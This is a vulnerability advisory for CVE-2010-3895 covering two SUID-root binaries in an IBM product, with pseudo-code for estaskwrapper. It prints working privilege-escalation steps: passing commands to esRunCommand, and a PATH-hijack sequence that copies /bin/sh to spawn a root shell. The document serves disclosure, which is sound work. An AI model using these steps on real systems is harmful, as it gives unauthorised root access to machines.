* Privilege escalation in two applications (CVE-2010-3895)

Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.

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  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
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»esRunCommand« takes one argument and runs it as root. See example below.
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  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
 
  joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id
  OUTPUT: cmd is id
  id
  uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
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The application »estaskwrapper« is meant to start the application »estasklight«.
The pseudo c code looks like this:
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 main() {
   int auth = 0;
   ...
   if (argv[1] == "estasklight") {
     auth = 1;
    ...
    path = getenv("ES_LIBRARY_PATH");
    if (path) {
      setenv("LD_LIBRARY_PATH", path);
      setenv("LIBPATH", path);
      ...
      if (auth) {
       execvp ("estasklight", args);
      }
      ...
    }
     ...
   }
 ...
 }
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Explanation of the code:

»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set.
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.

Exploit for running /bin/sh
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joemueller@XXX:~> cp /bin/sh ~/bin/estasklight
joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller
joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH
joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
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